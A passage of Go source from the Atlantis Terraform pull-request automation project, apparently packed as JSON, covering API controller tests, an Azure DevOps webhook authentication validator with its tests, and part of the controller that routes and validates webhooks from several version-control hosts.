\"main\",\n\t\tType:       \"Gitlab\",\n\t\tProjects:   []string{\"default\"},\n\t})\n\n\treq, _ := http.NewRequest(\"POST\", \"\", bytes.NewBuffer(body))\n\treq.Header.Set(atlantisTokenHeader, atlantisToken)\n\tw := httptest.NewRecorder()\n\tac.Apply(w, req)\n\tResponseContains(t, w, http.StatusOK, \"\")\n\n\t// Apply calls apiPlan first (which runs pre-hooks with Plan), then apiApply (which runs pre-hooks with Apply)\n\t// So we expect 2 calls: first with Plan, second with Apply\n\t_, capturedCmds := preWorkflowHooksRunner.VerifyWasCalled(Times(2)).\n\t\tRunPreHooks(Any[*command.Context](), Any[*events.CommentCommand]()).\n\t\tGetAllCapturedArguments()\n\n\tAssert(t, len(capturedCmds) == 2,\n\t\t\"expected 2 pre-workflow hook calls, got %d\", len(capturedCmds))\n\n\tAssert(t, capturedCmds[0].Name == command.Plan,\n\t\t\"expected first CommentCommand.Name to be Plan (%d), got %s (%d)\",\n\t\tcommand.Plan, capturedCmds[0].Name.String(), capturedCmds[0].Name)\n\n\tAssert(t, capturedCmds[1].Name == command.Apply,\n\t\t\"expected second CommentCommand.Name to be Apply (%d), got %s (%d)\",\n\t\tcommand.Apply, capturedCmds[1].Name.String(), capturedCmds[1].Name)\n}\n\nfunc TestAPIController_ListLocks(t *testing.T) {\n\tac, _, _ := setup(t)\n\ttime := time.Now()\n\texpected := controllers.ListLocksResult{[]controllers.LockDetail{\n\t\t{\n\t\t\tName:            \"lock-id\",\n\t\t\tProjectName:     \"terraform\",\n\t\t\tProjectRepo:     \"owner/repo\",\n\t\t\tProjectRepoPath: \"/path\",\n\t\t\tPullID:          123,\n\t\t\tPullURL:         \"url\",\n\t\t\tUser:            \"jdoe\",\n\t\t\tWorkspace:       \"default\",\n\t\t\tTime:            time,\n\t\t},\n\t},\n\t}\n\tmockLock := models.ProjectLock{\n\t\tProject:   models.Project{ProjectName: \"terraform\", RepoFullName: \"owner/repo\", Path: \"/path\"},\n\t\tPull:      models.PullRequest{Num: 123, URL: \"url\", Author: \"lkysow\"},\n\t\tUser:      models.User{Username: \"jdoe\"},\n\t\tWorkspace: \"default\",\n\t\tTime:      time,\n\t}\n\tmockLocks := map[string]models.ProjectLock{\n\t\t\"lock-id\": mockLock,\n\t}\n\tac.Locker.(*MockLocker).EXPECT().List().Return(mockLocks, nil)\n\n\treq, _ := http.NewRequest(\"GET\", \"\", nil)\n\tw := httptest.NewRecorder()\n\tac.ListLocks(w, req)\n\tresponse, _ := io.ReadAll(w.Result().Body)\n\tvar result controllers.ListLocksResult\n\terr := json.Unmarshal(response, &result)\n\tOk(t, err)\n\tEquals(t, expected, result)\n}\n\nfunc TestAPIController_ListLocksEmpty(t *testing.T) {\n\tac, _, _ := setup(t)\n\n\texpected := controllers.ListLocksResult{}\n\tmockLocks := map[string]models.ProjectLock{}\n\tac.Locker.(*MockLocker).EXPECT().List().Return(mockLocks, nil)\n\n\treq, _ := http.NewRequest(\"GET\", \"\", nil)\n\tw := httptest.NewRecorder()\n\tac.ListLocks(w, req)\n\tresponse, _ := io.ReadAll(w.Result().Body)\n\tvar result controllers.ListLocksResult\n\terr := json.Unmarshal(response, &result)\n\tOk(t, err)\n\tEquals(t, expected, result)\n}\n\nfunc setup(t *testing.T) (controllers.APIController, *MockProjectCommandBuilder, *MockProjectCommandRunner) {\n\tRegisterMockTestingT(t)\n\tgmockCtrl := gomock.NewController(t)\n\tlocker := NewMockLocker(gmockCtrl)\n\t// Allow incidental calls to UnlockByPull (called internally during plan/apply operations)\n\tlocker.EXPECT().UnlockByPull(gomock.Any(), gomock.Any()).Return(nil, nil).AnyTimes()\n\tlogger := logging.NewNoopLogger(t)\n\tparser := NewMockEventParsing()\n\trepoAllowlistChecker, err := events.NewRepoAllowlistChecker(\"*\")\n\tscope := metricstest.NewLoggingScope(t, logger, \"null\")\n\tvcsClient := NewMockClient()\n\tworkingDir := NewMockWorkingDir()\n\tOk(t, err)\n\n\tworkingDirLocker := NewMockWorkingDirLocker()\n\tWhen(workingDirLocker.TryLock(Any[string](), Any[int](), Eq(events.DefaultWorkspace), Eq(events.DefaultRepoRelDir), Eq(\"\"), Any[command.Name]())).\n\t\tThenReturn(func() {}, nil)\n\n\tprojectCommandBuilder := NewMockProjectCommandBuilder()\n\tWhen(projectCommandBuilder.BuildPlanCommands(Any[*command.Context](), Any[*events.CommentCommand]())).\n\t\tThenReturn([]command.ProjectContext{{\n\t\t\tCommandName: command.Plan,\n\t\t}}, nil)\n\tWhen(projectCommandBuilder.BuildApplyCommands(Any[*command.Context](), Any[*events.CommentCommand]())).\n\t\tThenReturn([]command.ProjectContext{{\n\t\t\tCommandName: command.Apply,\n\t\t}}, nil)\n\n\tprojectCommandRunner := NewMockProjectCommandRunner()\n\tWhen(projectCommandRunner.Plan(Any[command.ProjectContext]())).ThenReturn(command.ProjectCommandOutput{\n\t\tPlanSuccess: &models.PlanSuccess{},\n\t})\n\tWhen(projectCommandRunner.Apply(Any[command.ProjectContext]())).ThenReturn(command.ProjectCommandOutput{\n\t\tApplySuccess: \"success\",\n\t})\n\n\tpreWorkflowHooksCommandRunner := NewMockPreWorkflowHooksCommandRunner()\n\n\tWhen(preWorkflowHooksCommandRunner.RunPreHooks(Any[*command.Context](), Any[*events.CommentCommand]())).ThenReturn(nil)\n\n\tpostWorkflowHooksCommandRunner := NewMockPostWorkflowHooksCommandRunner()\n\n\tWhen(postWorkflowHooksCommandRunner.RunPostHooks(Any[*command.Context](), Any[*events.CommentCommand]())).ThenReturn(nil)\n\n\tcommitStatusUpdater := NewMockCommitStatusUpdater()\n\n\tWhen(commitStatusUpdater.UpdateCombined(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](), Any[models.CommitStatus](), Any[command.Name]())).ThenReturn(nil)\n\n\tac := controllers.APIController{\n\t\tAPISecret:                      []byte(atlantisToken),\n\t\tLocker:                         locker,\n\t\tLogger:                         logger,\n\t\tScope:                          scope,\n\t\tParser:                         parser,\n\t\tProjectCommandBuilder:          projectCommandBuilder,\n\t\tProjectPlanCommandRunner:       projectCommandRunner,\n\t\tProjectApplyCommandRunner:      projectCommandRunner,\n\t\tPreWorkflowHooksCommandRunner:  preWorkflowHooksCommandRunner,\n\t\tPostWorkflowHooksCommandRunner: postWorkflowHooksCommandRunner,\n\t\tVCSClient:                      vcsClient,\n\t\tRepoAllowlistChecker:           repoAllowlistChecker,\n\t\tWorkingDir:                     workingDir,\n\t\tWorkingDirLocker:               workingDirLocker,\n\t\tCommitStatusUpdater:            commitStatusUpdater,\n\t}\n\treturn ac, projectCommandBuilder, projectCommandRunner\n}\n"
  },
  {
    "path": "server/controllers/events/azuredevops_request_validator.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage events\n\nimport (\n\t\"fmt\"\n\t\"io\"\n\t\"net/http\"\n\n\t\"github.com/drmaxgit/go-azuredevops/azuredevops\"\n)\n\n//go:generate pegomock generate --package mocks -o mocks/mock_azuredevops_request_validator.go AzureDevopsRequestValidator\n\n// AzureDevopsRequestValidator handles checking if Azure DevOps requests\n// contain a valid Basic authentication username and password.\ntype AzureDevopsRequestValidator interface {\n\t// Validate returns the JSON payload of the request.\n\t// If both username and password values have a length greater than zero,\n\t// it checks that the credentials match those configured in Atlantis.\n\t// If either username or password have a length of zero, the payload is\n\t// returned without further checking.\n\tValidate(r *http.Request, user []byte, pass []byte) ([]byte, error)\n}\n\n// DefaultAzureDevopsRequestValidator handles checking if Azure DevOps\n// requests contain the correct Basic auth username and password.\ntype DefaultAzureDevopsRequestValidator struct{}\n\n// Validate returns the JSON payload of the request.\n// If secret is not empty, it checks that the request was signed\n// by secret and returns an error if it was not.\n// If secret is empty, it does not check if the request was signed.\nfunc (d *DefaultAzureDevopsRequestValidator) Validate(r *http.Request, user []byte, pass []byte) ([]byte, error) {\n\tif len(user) != 0 && len(pass) != 0 {\n\t\treturn d.validateWithBasicAuth(r, user, pass)\n\t}\n\treturn d.validateWithoutBasicAuth(r)\n}\n\nfunc (d *DefaultAzureDevopsRequestValidator) validateWithBasicAuth(r *http.Request, user []byte, pass []byte) ([]byte, error) {\n\tpayload, err := azuredevops.ValidatePayload(r, user, pass)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn payload, nil\n}\n\nfunc (d *DefaultAzureDevopsRequestValidator) validateWithoutBasicAuth(r *http.Request) ([]byte, error) {\n\tct := r.Header.Get(\"Content-Type\")\n\tif ct == \"application/json\" || ct == \"application/json; charset=utf-8\" {\n\t\tpayload, err := io.ReadAll(r.Body)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"could not read body: %s\", err)\n\t\t}\n\t\treturn payload, nil\n\t}\n\treturn nil, fmt.Errorf(\"webhook request has unsupported Content-Type %q\", ct)\n}\n"
  },
  {
    "path": "server/controllers/events/azuredevops_request_validator_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage events_test\n\nimport (\n\t\"bytes\"\n\t\"net/http\"\n\t\"testing\"\n\n\t. \"github.com/petergtz/pegomock/v4\"\n\t\"github.com/runatlantis/atlantis/server/controllers/events\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n)\n\nfunc TestAzureDevopsValidate_WithBasicAuthErr(t *testing.T) {\n\tt.Log(\"if the request does not have a valid basic auth user and password there is an error\")\n\tRegisterMockTestingT(t)\n\tg := events.DefaultAzureDevopsRequestValidator{}\n\tbuf := bytes.NewBufferString(\"\")\n\treq, err := http.NewRequest(\"POST\", \"http://localhost/event\", buf)\n\tOk(t, err)\n\treq.Header.Set(\"Authorization\", \"Basic dXNlcjpwYXNz\") // user:pass\n\treq.Header.Set(\"Content-Type\", \"application/json\")\n\n\t_, err = g.Validate(req, []byte(\"user\"), []byte(\"wrongpass\"))\n\tAssert(t, err != nil, \"error should not be nil\")\n\tEquals(t, \"ValidatePayload authentication failed\", err.Error())\n}\n\nfunc TestAzureDevopsValidate_WithBasicAuth(t *testing.T) {\n\tt.Log(\"if the request has a valid basic auth user and password the payload is returned\")\n\tRegisterMockTestingT(t)\n\tg := events.DefaultAzureDevopsRequestValidator{}\n\tbuf := bytes.NewBufferString(`{\"yo\":true}`)\n\treq, err := http.NewRequest(\"POST\", \"http://localhost/event\", buf)\n\tOk(t, err)\n\treq.Header.Set(\"Authorization\", \"Basic dXNlcjpwYXNz\") // user:pass\n\treq.Header.Set(\"Content-Type\", \"application/json\")\n\n\tbs, err := g.Validate(req, []byte(\"user\"), []byte(\"pass\"))\n\tOk(t, err)\n\tEquals(t, `{\"yo\":true}`, string(bs))\n}\n\nfunc TestAzureDevopsValidate_WithoutSecretInvalidContentType(t *testing.T) {\n\tt.Log(\"if the request has an invalid content type an error is returned\")\n\tRegisterMockTestingT(t)\n\tg := events.DefaultAzureDevopsRequestValidator{}\n\tbuf := bytes.NewBufferString(\"\")\n\treq, err := http.NewRequest(\"POST\", \"http://localhost/event\", buf)\n\tOk(t, err)\n\treq.Header.Set(\"Content-Type\", \"invalid\")\n\n\t_, err = g.Validate(req, nil, nil)\n\tAssert(t, err != nil, \"error should not be nil\")\n\tEquals(t, \"webhook request has unsupported Content-Type \\\"invalid\\\"\", err.Error())\n}\n\nfunc TestAzureDevopsValidate_WithoutSecretJSON(t *testing.T) {\n\tt.Log(\"if the request is JSON the body is returned\")\n\tRegisterMockTestingT(t)\n\tg := events.DefaultAzureDevopsRequestValidator{}\n\tbuf := bytes.NewBufferString(`{\"yo\":true}`)\n\treq, err := http.NewRequest(\"POST\", \"http://localhost/event\", buf)\n\tOk(t, err)\n\treq.Header.Set(\"Content-Type\", \"application/json\")\n\n\tbs, err := g.Validate(req, nil, nil)\n\tOk(t, err)\n\tEquals(t, `{\"yo\":true}`, string(bs))\n}\n"
  },
  {
    "path": "server/controllers/events/events_controller.go",
    "content": "// Copyright 2017 HootSuite Media Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the License);\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//    http://www.apache.org/licenses/LICENSE-2.0\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an AS IS BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n// Modified hereafter by contributors to runatlantis/atlantis.\n\npackage events\n\nimport (\n\t\"encoding/json\"\n\t\"errors\"\n\t\"fmt\"\n\t\"html\"\n\t\"io\"\n\t\"net/http\"\n\t\"slices\"\n\t\"strconv\"\n\t\"strings\"\n\n\t\"github.com/drmaxgit/go-azuredevops/azuredevops\"\n\t\"github.com/google/go-github/v83/github\"\n\t\"github.com/microcosm-cc/bluemonday\"\n\t\"github.com/runatlantis/atlantis/server/events\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t\"github.com/runatlantis/atlantis/server/events/vcs\"\n\t\"github.com/runatlantis/atlantis/server/events/vcs/bitbucketcloud\"\n\t\"github.com/runatlantis/atlantis/server/events/vcs/bitbucketserver\"\n\t\"github.com/runatlantis/atlantis/server/events/vcs/common\"\n\t\"github.com/runatlantis/atlantis/server/events/vcs/gitea\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\ttally \"github.com/uber-go/tally/v4\"\n\tgitlab \"gitlab.com/gitlab-org/api/client-go\"\n)\n\nconst githubHeader = \"X-Github-Event\"\nconst gitlabHeader = \"X-Gitlab-Event\"\nconst azuredevopsHeader = \"Request-Id\"\n\nconst giteaHeader = \"X-Gitea-Event\"\nconst giteaEventTypeHeader = \"X-Gitea-Event-Type\"\nconst giteaSignatureHeader = \"X-Gitea-Signature\"\nconst giteaRequestIDHeader = \"X-Gitea-Delivery\"\n\n// bitbucketEventTypeHeader is the same in both cloud and server.\nconst bitbucketEventTypeHeader = \"X-Event-Key\"\nconst bitbucketCloudRequestIDHeader = \"X-Request-UUID\"\nconst bitbucketServerRequestIDHeader = \"X-Request-ID\"\nconst bitbucketSignatureHeader = \"X-Hub-Signature\"\n\n// The URL used for Azure DevOps test webhooks\nconst azuredevopsTestURL = \"https://fabrikam.visualstudio.com/DefaultCollection/_apis/git/repositories/4bc14d40-c903-45e2-872e-0462c7748079\"\n\n// VCSEventsController handles all webhook requests which signify 'events' in the\n// VCS host, ex. GitHub.\ntype VCSEventsController struct {\n\tCommandRunner  events.CommandRunner  `validate:\"required\"`\n\tPullCleaner    events.PullCleaner    `validate:\"required\"`\n\tLogger         logging.SimpleLogging `validate:\"required\"`\n\tScope          tally.Scope           `validate:\"required\"`\n\tParser         events.EventParsing   `validate:\"required\"`\n\tCommentParser  events.CommentParsing `validate:\"required\"`\n\tApplyDisabled  bool\n\tEmojiReaction  string\n\tExecutableName string\n\t// GithubWebhookSecret is the secret added to this webhook via the GitHub\n\t// UI that identifies this call as coming from GitHub. If empty, no\n\t// request validation is done.\n\tGithubWebhookSecret          []byte\n\tGithubRequestValidator       GithubRequestValidator       `validate:\"required\"`\n\tGitlabRequestParserValidator GitlabRequestParserValidator `validate:\"required\"`\n\t// GitlabWebhookSecret is the secret added to this webhook via the GitLab\n\t// UI that identifies this call as coming from GitLab. If empty, no\n\t// request validation is done.\n\tGitlabWebhookSecret  []byte\n\tRepoAllowlistChecker *events.RepoAllowlistChecker `validate:\"required\"`\n\t// SilenceAllowlistErrors controls whether we write an error comment on\n\t// pull requests from non-allowlisted repos.\n\tSilenceAllowlistErrors bool\n\t// SupportedVCSHosts is which VCS hosts Atlantis was configured upon\n\t// startup to support.\n\tSupportedVCSHosts []models.VCSHostType `validate:\"required\"`\n\tVCSClient         vcs.Client           `validate:\"required\"`\n\tTestingMode       bool\n\t// BitbucketWebhookSecret is the secret added to this webhook via the Bitbucket\n\t// UI that identifies this call as coming from Bitbucket. If empty, no\n\t// request validation is done.\n\tBitbucketWebhookSecret []byte\n\t// AzureDevopsWebhookUser is the Basic authentication username added to this\n\t// webhook via the Azure DevOps UI that identifies this call as coming from your\n\t// Azure DevOps Team Project. If empty, no request validation is done.\n\t// For more information, see https://docs.microsoft.com/en-us/azure/devops/service-hooks/services/webhooks?view=azure-devops\n\tAzureDevopsWebhookBasicUser []byte\n\t// AzureDevopsWebhookPassword is the Basic authentication password added to this\n\t// webhook via the Azure DevOps UI that identifies this call as coming from your\n\t// Azure DevOps Team Project. If empty, no request validation is done.\n\tAzureDevopsWebhookBasicPassword []byte\n\tAzureDevopsRequestValidator     AzureDevopsRequestValidator `validate:\"required\"`\n\tGiteaWebhookSecret              []byte\n}\n\n// Post handles POST webhook requests.\nfunc (e *VCSEventsController) Post(w http.ResponseWriter, r *http.Request) {\n\tif r.Header.Get(giteaHeader) != \"\" {\n\t\tif !e.supportsHost(models.Gitea) {\n\t\t\te.respond(w, logging.Debug, http.StatusBadRequest, \"Ignoring request since not configured to support Gitea\")\n\t\t\treturn\n\t\t}\n\t\te.Logger.Debug(\"handling Gitea post\")\n\t\te.handleGiteaPost(w, r)\n\t\treturn\n\t} else if r.Header.Get(githubHeader) != \"\" {\n\t\tif !e.supportsHost(models.Github) {\n\t\t\te.respond(w, logging.Debug, http.StatusBadRequest, \"Ignoring request since not configured to support GitHub\")\n\t\t\treturn\n\t\t}\n\t\te.Logger.Debug(\"handling GitHub post\")\n\t\te.handleGithubPost(w, r)\n\t\treturn\n\t} else if r.Header.Get(gitlabHeader) != \"\" {\n\t\tif !e.supportsHost(models.Gitlab) {\n\t\t\te.respond(w, logging.Debug, http.StatusBadRequest, \"Ignoring request since not configured to support GitLab\")\n\t\t\treturn\n\t\t}\n\t\te.Logger.Debug(\"handling GitLab post\")\n\t\te.handleGitlabPost(w, r)\n\t\treturn\n\t} else if r.Header.Get(bitbucketEventTypeHeader) != \"\" {\n\t\t// Bitbucket Cloud and Server use the same event type header but they\n\t\t// use different request ID headers.\n\t\tif r.Header.Get(bitbucketCloudRequestIDHeader) != \"\" {\n\t\t\tif !e.supportsHost(models.BitbucketCloud) {\n\t\t\t\te.respond(w, logging.Debug, http.StatusBadRequest, \"Ignoring request since not configured to support Bitbucket Cloud\")\n\t\t\t\treturn\n\t\t\t}\n\t\t\te.Logger.Debug(\"handling Bitbucket Cloud post\")\n\t\t\te.handleBitbucketCloudPost(w, r)\n\t\t\treturn\n\t\t} else if r.Header.Get(bitbucketServerRequestIDHeader) != \"\" {\n\t\t\tif !e.supportsHost(models.BitbucketServer) {\n\t\t\t\te.respond(w, logging.Debug, http.StatusBadRequest, \"Ignoring request since not configured to support Bitbucket Server\")\n\t\t\t\treturn\n\t\t\t}\n\t\t\te.Logger.Debug(\"handling Bitbucket Server post\")\n\t\t\te.handleBitbucketServerPost(w, r)\n\t\t\treturn\n\t\t}\n\t} else if r.Header.Get(azuredevopsHeader) != \"\" {\n\t\tif !e.supportsHost(models.AzureDevops) {\n\t\t\te.respond(w, logging.Debug, http.StatusBadRequest, \"Ignoring request since not configured to support AzureDevops\")\n\t\t\treturn\n\t\t}\n\t\te.Logger.Debug(\"handling AzureDevops post\")\n\t\te.handleAzureDevopsPost(w, r)\n\t\treturn\n\t}\n\te.respond(w, logging.Debug, http.StatusBadRequest, \"Ignoring request\")\n}\n\ntype HTTPError struct {\n\terr        error\n\tcode       int\n\tisSilenced bool\n}\n\ntype HTTPResponse struct {\n\tbody string\n\terr  HTTPError\n}\n\nfunc (e *VCSEventsController) handleGithubPost(w http.ResponseWriter, r *http.Request) {\n\t// Validate the request against the optional webhook secret.\n\tpayload, err := e.GithubRequestValidator.Validate(r, e.GithubWebhookSecret)\n\tif err != nil {\n\t\te.respond(w, logging.Warn, http.StatusBadRequest, \"%s\", err.Error())\n\t\treturn\n\t}\n\n\tgithubReqID := \"X-Github-Delivery=\" + html.EscapeString(r.Header.Get(\"X-Github-Delivery\"))\n\tlogger := e.Logger.With(\"gh-request-id\", githubReqID)\n\tscope := e.Scope.SubScope(\"github_event\")\n\n\tlogger.Debug(\"request valid\")\n\n\tevent, _ := github.ParseWebHook(github.WebHookType(r), payload)\n\n\tvar resp HTTPResponse\n\n\tswitch event := event.(type) {\n\tcase *github.IssueCommentEvent:\n\t\tresp = e.HandleGithubCommentEvent(event, githubReqID, logger)\n\t\tscope = scope.SubScope(fmt.Sprintf(\"comment_%s\", *event.Action))\n\t\tscope = common.SetGitScopeTags(scope, event.GetRepo().GetFullName(), event.GetIssue().GetNumber())\n\tcase *github.PullRequestEvent:\n\t\tresp = e.HandleGithubPullRequestEvent(logger, event, githubReqID)\n\t\tscope = scope.SubScope(fmt.Sprintf(\"pr_%s\", *event.Action))\n\t\tscope = common.SetGitScopeTags(scope, event.GetRepo().GetFullName(), event.GetNumber())\n\tdefault:\n\t\tresp = HTTPResponse{\n\t\t\tbody: fmt.Sprintf(\"Ignoring unsupported event %s\", githubReqID),\n\t\t}\n\t}\n\n\tif resp.err.code != 0 {\n\t\tif !resp.err.isSilenced {\n\t\t\tlogger.Err(\"error handling gh post code: %d err: %s\", resp.err.code, resp.err.err.Error())\n\t\t}\n\t\tscope.Counter(fmt.Sprintf(\"error_%d\", resp.err.code)).Inc(1)\n\t\tw.WriteHeader(resp.err.code)\n\t\tfmt.Fprintln(w, resp.err.err.Error())\n\t\treturn\n\t}\n\n\tscope.Counter(fmt.Sprintf(\"success_%d\", http.StatusOK)).Inc(1)\n\tw.WriteHeader(http.StatusOK)\n\tfmt.Fprintln(w, resp.body)\n}\n\nfunc (e *VCSEventsController) handleBitbucketCloudPost(w http.ResponseWriter, r *http.Request) {\n\teventType := r.Header.Get(bitbucketEventTypeHeader)\n\treqID := r.Header.Get(bitbucketCloudRequestIDHeader)\n\tsig := r.Header.Get(bitbucketSignatureHeader)\n\tdefer r.Body.Close() // nolint: errcheck\n\tbody, err := io.ReadAll(r.Body)\n\tif err != nil {\n\t\te.respond(w, logging.Error, http.StatusBadRequest, \"Unable to read body: %s %s=%s\", err, bitbucketCloudRequestIDHeader, reqID)\n\t\treturn\n\t}\n\tif len(e.BitbucketWebhookSecret) > 0 {\n\t\tif err := common.ValidateSignature(body, sig, e.BitbucketWebhookSecret); err != nil {\n\t\t\te.respond(w, logging.Warn, http.StatusBadRequest, \"%s\", fmt.Errorf(\"request did not pass validation: %w\", err).Error())\n\t\t\treturn\n\t\t}\n\t}\n\tswitch eventType {\n\tcase bitbucketcloud.PullCreatedHeader, bitbucketcloud.PullUpdatedHeader, bitbucketcloud.PullFulfilledHeader, bitbucketcloud.PullRejectedHeader:\n\t\te.Logger.Debug(\"handling as pull request state changed event\")\n\t\te.handleBitbucketCloudPullRequestEvent(e.Logger, w, eventType, body, reqID)\n\t\treturn\n\tcase bitbucketcloud.PullCommentCreatedHeader:\n\t\te.Logger.Debug(\"handling as comment created event\")\n\t\te.HandleBitbucketCloudCommentEvent(w, body, reqID)\n\t\treturn\n\tdefault:\n\t\te.respond(w, logging.Debug, http.StatusOK, \"Ignoring unsupported event type %s %s=%s\", eventType, bitbucketCloudRequestIDHeader, reqID)\n\t}\n}\n\nfunc (e *VCSEventsController) handleBitbucketServerPost(w http.ResponseWriter, r *http.Request) {\n\teventType := r.Header.Get(bitbucketEventTypeHeader)\n\treqID := r.Header.Get(bitbucketServerRequestIDHeader)\n\tsig := r.Header.Get(bitbucketSignatureHeader)\n\tdefer r.Body.Close() // nolint: errcheck\n\tbody, err := io.ReadAll(r.Body)\n\tif err != nil {\n\t\te.respond(w, logging.Error, http.StatusBadRequest, \"Unable to read body: %s %s=%s\", err, bitbucketServerRequestIDHeader, reqID)\n\t\treturn\n\t}\n\tif eventType == bitbucketserver.DiagnosticsPingHeader {\n\t\t// Specially handle the diagnostics:ping event because Bitbucket Server\n\t\t// doesn't send the signature with this event for some reason.\n\t\te.respond(w, logging.Info, http.StatusOK, \"Successfully received %s event %s=%s\", eventType, bitbucketServerRequestIDHeader, reqID)\n\t\treturn\n\t}\n\tif len(e.BitbucketWebhookSecret) > 0 {\n\t\tif err := common.ValidateSignature(body, sig, e.BitbucketWebhookSecret); err != nil {\n\t\t\te.respond(w, logging.Warn, http.StatusBadRequest, \"%s\", fmt.Errorf(\"request did not pass validation: %w\", err).Error())\n\t\t\treturn\n\t\t}\n\t}\n\tswitch eventType {\n\tcase bitbucketserver.PullCreatedHeader, bitbucketserver.PullFromRefUpdatedHeader, bitbucketserver.PullMergedHeader, bitbucketserver.PullDeclinedHeader, bitbucketserver.PullDeletedHeader:\n\t\te.Logger.Debug(\"handling as pull request state changed event\")\n\t\te.handleBitbucketServerPullRequestEvent(e.Logger, w, eventType, body, reqID)\n\t\treturn\n\tcase bitbucketserver.PullCommentCreatedHeader:\n\t\te.Logger.Debug(\"handling as comment created event\")\n\t\te.HandleBitbucketServerCommentEvent(w, body, reqID)\n\t\treturn\n\tdefault:\n\t\te.respond(w, logging.Debug, http.StatusOK, \"Ignoring unsupported event type %s %s=%s\", eventType, bitbucketServerRequestIDHeader, reqID)\n\t}\n}\n\nfunc (e *VCSEventsController) handleAzureDevopsPost(w http.ResponseWriter, r *http.Request) {\n\t// Validate the request against the optional basic auth username and password.\n\tpayload, err := e.AzureDevopsRequestValidator.Validate(r, e.AzureDevopsWebhookBasicUser, e.AzureDevopsWebhookBasicPassword)\n\tif err != nil {\n\t\te.respond(w, logging.Warn, http.StatusUnauthorized, \"%s\", err.Error())\n\t\treturn\n\t}\n\te.Logger.Debug(\"request valid\")\n\n\tazuredevopsReqID := \"Request-Id=\" + r.Header.Get(\"Request-Id\")\n\tevent, err := azuredevops.ParseWebHook(payload)\n\tif err != nil {\n\t\te.respond(w, logging.Error, http.StatusBadRequest, \"Failed parsing webhook: %v %s\", err, azuredevopsReqID)\n\t\treturn\n\t}\n\tswitch event.PayloadType {\n\tcase azuredevops.PullRequestCommentedEvent:\n\t\te.Logger.Debug(\"handling as pull request commented event\")\n\t\te.HandleAzureDevopsPullRequestCommentedEvent(w, event, azuredevopsReqID)\n\tcase azuredevops.PullRequestEvent:\n\t\te.Logger.Debug(\"handling as pull request event\")\n\t\te.HandleAzureDevopsPullRequestEvent(w, event, azuredevopsReqID)\n\tdefault:\n\t\te.respond(w, logging.Debug, http.StatusOK, \"Ignoring unsupported event: %v %s\", event.PayloadType, azuredevopsReqID)\n\t}\n}\n\nfunc (e *VCSEventsController) handleGiteaPost(w http.ResponseWriter, r *http.Request) {\n\tsignature := r.Header.Get(giteaSignatureHeader)\n\teventType := r.Header.Get(giteaEventTypeHeader)\n\treqID := r.Header.Get(giteaRequestIDHeader)\n\n\tdefer r.Body.Close() // Ensure the request body is closed\n\n\tbody, err := io.ReadAll(r.Body)\n\tif err != nil {\n\t\te.respond(w, logging.Error, http.StatusBadRequest, \"Unable to read body: %s %s=%s\", err, \"X-Gitea-Delivery\", reqID)\n\t\treturn\n\t}\n\n\tif len(e.GiteaWebhookSecret) > 0 {\n\t\tif err := gitea.ValidateSignature(body, signature, e.GiteaWebhookSecret); err != nil {\n\t\t\te.respond(w, logging.Warn, http.StatusBadRequest, \"%s\", fmt.Errorf(\"request did not pass validation: %w\", err).Error())\n\t\t\treturn\n\t\t}\n\t}\n\n\tlogger := e.Logger.With(\"gitea-request-id\", reqID)\n\n\t// Log the event type for debugging purposes\n\tlogger.Debug(\"Received Gitea event %s with ID %s\", eventType, reqID)\n\n\t// Depending on the event type, handle the event appropriately\n\tswitch eventType {\n\tcase \"pull_request_comment\":\n\t\te.HandleGiteaPullRequestCommentEvent(w, body, reqID)\n\tcase \"pull_request\":\n\t\tlogger.Debug(\"Handling as pull_request\")\n\t\te.handleGiteaPullRequestEvent(logger, w, body, reqID)\n\t// Add other case handlers as necessary\n\tdefault:\n\t\te.respond(w, logging.Debug, http.StatusOK, \"Ignoring unsupported Gitea event type: %s %s=%s\", eventType, \"X-Gitea-Delivery\", reqID)\n\t}\n}\n\nfunc (e *VCSEventsController) handleGiteaPullRequestEvent(logger logging.SimpleLogging, w http.ResponseWriter, body []byte, reqID string) {\n\tlogger.Debug(\"Entering handleGiteaPullRequestEvent\")\n\t// Attempt to unmarshal the incoming body into the Gitea PullRequest struct\n\tvar payload gitea.GiteaWebhookPayload\n\tif err := json.Unmarshal(body, &payload); err != nil {\n\t\te.Logger.Err(\"Failed to unmarshal Gitea webhook payload: %v\", err)\n\t\te.respond(w, logging.Error, http.StatusBadRequest, \"Failed to parse request body: %s %s=%s\", err, giteaRequestIDHeader, reqID)\n\t\treturn\n\t}\n\n\tlogger.Debug(\"Successfully unmarshaled Gitea event\")\n\n\t// Use the parser function to convert into Atlantis models\n\tpull, pullEventType, baseRepo, headRepo, user, err := e.Parser.ParseGiteaPullRequestEvent(payload.PullRequest)\n\tif err != nil {\n\t\te.Logger.Err(\"Failed to parse Gitea pull request event: %v\", err)\n\t\te.respond(w, logging.Error, http.StatusInternalServerError, \"Failed to process event\")\n\t\treturn\n\t}\n\n\tlogger.Debug(\"Parsed Gitea event into Atlantis models successfully\")\n\n\t// Annotate logger with repo and pull/merge request number.\n\tlogger = logger.With(\n\t\t\"repo\", baseRepo.FullName,\n\t\t\"pull\", strconv.Itoa(pull.Num),\n\t)\n\tlogger.Info(\"Handling Gitea Pull Request '%s' event\", pullEventType.String())\n\tresponse := e.handlePullRequestEvent(logger, baseRepo, headRepo, pull, user, pullEventType)\n\n\te.respond(w, logging.Debug, http.StatusOK, \"%s\", response.body)\n}\n\n// HandleGiteaPullRequestCommentEvent handles comment events from Gitea where Atlantis commands can come from.\nfunc (e *VCSEventsController) HandleGiteaPullRequestCommentEvent(w http.ResponseWriter, body []byte, reqID string) {\n\tvar event gitea.GiteaIssueCommentPayload\n\tif err := json.Unmarshal(body, &event); err != nil {\n\t\te.Logger.Err(\"Failed to unmarshal Gitea comment payload: %v\", 